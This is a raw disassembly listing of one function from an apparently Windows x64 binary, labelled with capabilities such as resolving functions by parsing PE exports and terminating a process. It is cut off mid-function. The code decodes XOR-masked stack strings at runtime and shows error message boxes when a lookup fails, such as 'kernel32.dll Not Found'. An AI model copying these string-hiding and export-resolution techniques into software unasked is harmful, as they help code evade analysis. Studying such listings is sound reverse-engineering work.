Function at 0x1400183e0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x38c0]
mov eax, 0x39c0
call fcn.1401089d0
sub rsp, rax
movaps xmmword [rsp + 0x39b0], xmm6
movaps xmmword [rsp + 0x39a0], xmm7
movaps xmmword [rsp + 0x3990], xmm8
movaps xmmword [rsp + 0x3980], xmm9
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0x3870], rax
mov qword [rbp + 0x50], rdx
mov r14, rcx
movabs rax, 0x2b5c5229d4080e3
mov qword [rsp + 0x30], rax
movabs rax, 0x19c0167307fcf579
mov qword [rsp + 0x38], rax
movabs rax, 0x17f417f1ca51be5
mov qword [rsp + 0x40], rax
movabs rcx, 0x1144cb12a10244b0
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x2dbc5509d258088
mov qword [rsp + 0x70], rax
movabs rax, 0x19f216400790f51c
mov qword [rsp + 0x78], rax
movabs rax, 0x11341131cc11bcb
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1d0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1e0], xmm3
lea rax, [rbp + 0x1480]
lea rcx, [rbp + 0x1b0]
mov ebx, 3
mov edx, ebx
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140018510
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x1480]
mov rdx, r14
lea rcx, [rbp + 0x2020]
call fcn.140051d50
lea rcx, [rbp + 0x17a0]
mov edi, 8
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400185a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
mov r12, qword [rbp + 0x17b8]
test r12, r12
jne 0x14001867c
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3590], rsi
movabs rax, 0xe000000020002b58
mov qword [rbp + 0x3598], rax
mov qword [rbp + 0x35a0], rsi
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x50], xmm0
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, str.kernel32.dll____Not_Found_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001ded8
movabs rax, 0x1c01560109015f00
mov qword [rsp + 0x30], rax
movabs rax, 0x17746ae176fa0d65
mov qword [rsp + 0x38], rax
movabs rax, 0x40144010c008a00
mov qword [rsp + 0x40], rax
movabs rcx, 0x472de189f9ac364
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x1c75567309625f75
mov qword [rsp + 0x70], rax
movabs rax, 0x17116a92769b0d07
mov qword [rsp + 0x78], rax
movabs rax, 0x46d446d0c648a2e
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1d0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1e0], xmm3
lea rax, [rbp + 0x780]
lea rcx, [rbp + 0x1b0]
mov rdx, rbx
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140018750
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x780]
mov rdx, r14
lea rcx, [rbp + 0x2458]
call fcn.140051d50
lea rcx, [rbp + 0x1040]
mov rdx, rdi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400187d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
cmp qword [rbp + 0x1058], rdx
jne 0x1400189e4
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3590], rsi
movabs rax, 0xe000000020003558
mov qword [rbp + 0x3598], rax
mov qword [rbp + 0x35a0], rsi
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0x167c4c908e5543a
mov qword [rsp + 0x30], rax
movabs rax, 0x20ad8d2610bc3ace
mov qword [rsp + 0x38], rax
movabs rax, 0x1b67e932069ec311
mov qword [rsp + 0x40], rax
movabs rax, 0x69a3388aabc3cb4e
mov qword [rsp + 0x48], rax
movabs rax, 0x6414a5ab7c97374f
mov qword [rsp + 0x70], rax
movabs rax, 0x7b8da0067cd05ee0
mov qword [rsp + 0x78], rax
movabs rax, 0x7512867426eaac5f
mov qword [rbp - 0x80], rax
movabs rax, 0x69a3388aabc3962a
mov qword [rbp - 0x78], rax
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x790], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7a0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x7b0], xmm3
lea rax, [rbp + 0x1480]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140018961
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x1480]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001ded8
movabs rax, 0x838b7d8abf19361
mov qword [rsp + 0x30], rax
movabs rax, 0x76a33d11f82d359
mov qword [rsp + 0x38], rax
movabs rax, 0x171e511e3
mov qword [rsp + 0x40], rax
movabs rcx, 0x5b36544b221
mov qword [rsp + 0x48], rcx
movabs rax, 0x84ab7bdab829314
mov qword [rsp + 0x70], rax
movabs rax, 0x70e33ff1fb0d36a
mov qword [rsp + 0x78], rax
movabs rax, 0x17189118f
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0xaa0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xab0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0xac0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xad0], xmm3
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0xaa0]
mov r15d, 2
mov edx, r15d
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140018ab0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x5f0]
mov rdx, r14
lea rcx, [rbp + 0x2890]
call fcn.140051d50
lea rcx, [rbp + 0x1be0]
mov rdx, rdi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018b50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
mov rsi, qword [rbp + 0x1bf8]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rsi, rsi
jne 0x140018d53
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3590], rsi
movabs rax, 0xe000000020003f1a
mov qword [rbp + 0x3598], rax
mov qword [rbp + 0x35a0], rsi
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0x1cda1e0572dd3fd2
mov qword [rsp + 0x30], rax
movabs rax, 0xbe2f175b675557a
mov qword [rsp + 0x38], rax
movabs rax, 0x419d2c8a84e40a3
mov qword [rsp + 0x40], rax
movabs rcx, 0x523d4f70624d7eaf
mov qword [rsp + 0x48], rcx
movabs rax, 0x78f42c3600b84ca7
mov qword [rsp + 0x70], rax
movabs rax, 0x64acaa559b553916
mov qword [rsp + 0x78], rax
movabs rax, 0x597dbcbdc70860d7
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140018ce0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x5f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001ded8
movabs rax, 0x13472b4157fbab41
mov qword [rsp + 0x30], rax
movabs rax, 0x1df95782fd8acfc3
mov qword [rsp + 0x38], rax
movabs rax, 0x1fffffffe000fe13
mov qword [rsp + 0x40], rax
movabs rcx, 0xe00000001fff3bcd
mov qword [rsp + 0x48], rcx
movabs rax, 0x13762b2557c8ab25
mov qword [rsp + 0x70], rax
movabs rax, 0x1d9557e6fda4cff2
mov qword [rsp + 0x78], rax
movabs rax, 0x1fffffffe000fe7f
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0xc00], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xc10], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0xc20], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xc30], xmm5
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0xc00]
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140018e10
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x60]
mov rdx, r14
lea rcx, [rbp + 0x1b0]
call fcn.140051d50
lea rcx, [rbp + 0x17a0]
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018ea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
cmp qword [rbp + 0x17b8], rdx
jne 0x14001909d
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3590], rsi
movabs rax, 0xe000000020003ab5
mov qword [rbp + 0x3598], rax
mov qword [rbp + 0x35a0], rsi
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0xbbe9da03f8ba08b
mov qword [rsp + 0x30], rax
movabs rax, 0x18b4d9397eb9913a
mov qword [rsp + 0x38], rax
movabs rax, 0x9c11f784e42c498
mov qword [rsp + 0x40], rax
movabs rcx, 0x1e390ac14b6f4c40
mov qword [rsp + 0x48], rcx
movabs rax, 0x67dab3910eef93ef
mov qword [rsp + 0x70], rax
movabs rax, 0x6cdb97625e94b156
mov qword [rsp + 0x78], rax
movabs rax, 0x99c7b163b2d82b8
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140019030
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x5f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001ded8
movabs rax, 0x4241b8accbcfbdd
mov qword [rsp + 0x30], rax
movabs rax, 0x575b67964064080
mov qword [rsp + 0x38], rax
movabs rax, 0x1fffffffe005841f
mov qword [rsp + 0x40], rax
movabs rcx, 0xe00000001ffa420a
mov qword [rsp + 0x48], rcx
movabs rax, 0x4481beeccc8fb93
mov qword [rsp + 0x70], rax
movabs rax, 0x519b61d642840ec
mov qword [rsp + 0x78], rax
movabs rax, 0x1fffffffe0058473
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0xc00], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xc10], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0xc20], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xc30], xmm5
lea rax, [rbp + 0xaa0]
lea rcx, [rbp + 0xc00]
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140019160
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0xaa0]
mov rdx, r14
lea rcx, [rbp + 0x2cc8]
call fcn.140051d50
lea rcx, [rbp + 0x1b0]
mov rdx, rdi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400191f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
mov r13, qword [rbp + 0x1c8]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test r13, r13
jne 0x1400193ed
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3590], rsi
movabs rax, 0xe000000020004aba
mov qword [rbp + 0x3598], rax
mov qword [rbp + 0x35a0], rsi
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0x176f84645b0f8edc
mov qword [rsp + 0x30], rax
movabs rax, 0x8401aad8c868e23
mov qword [rsp + 0x38], rax
movabs rax, 0x184681ebf07f8778
mov qword [rsp + 0x40], rax
movabs rcx, 0x74441f949b2b217
mov qword [rsp + 0x48], rcx
movabs rax, 0x7b0baa08376bfa92
mov qword [rsp + 0x70], rax
movabs rax, 0x7c2f54f6acabae4f
mov qword [rsp + 0x78], rax
movabs rax, 0x181be5858510c158
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140019380
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x5f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001ded8
movabs rax, 0x1067957c8c4319ca
mov qword [rsp + 0x30], rax
movabs rax, 0xe3b69c85a5fe133
mov qword [rsp + 0x38], rax
movabs rax, 0x5ac12cc0d
mov qword [rsp + 0x40], rax
movabs rcx, 0x5b79b2b97c6
mov qword [rsp + 0x48], rcx
movabs rax, 0x1004950a8c3019a7
mov qword [rsp + 0x70], rax
movabs rax, 0xe5f69e65a2be141
mov qword [rsp + 0x78], rax
movabs rax, 0x5ac7ecc61
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0xc00], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xc10], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0xc20], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xc30], xmm5
lea rax, [rbp + 0x1b0]
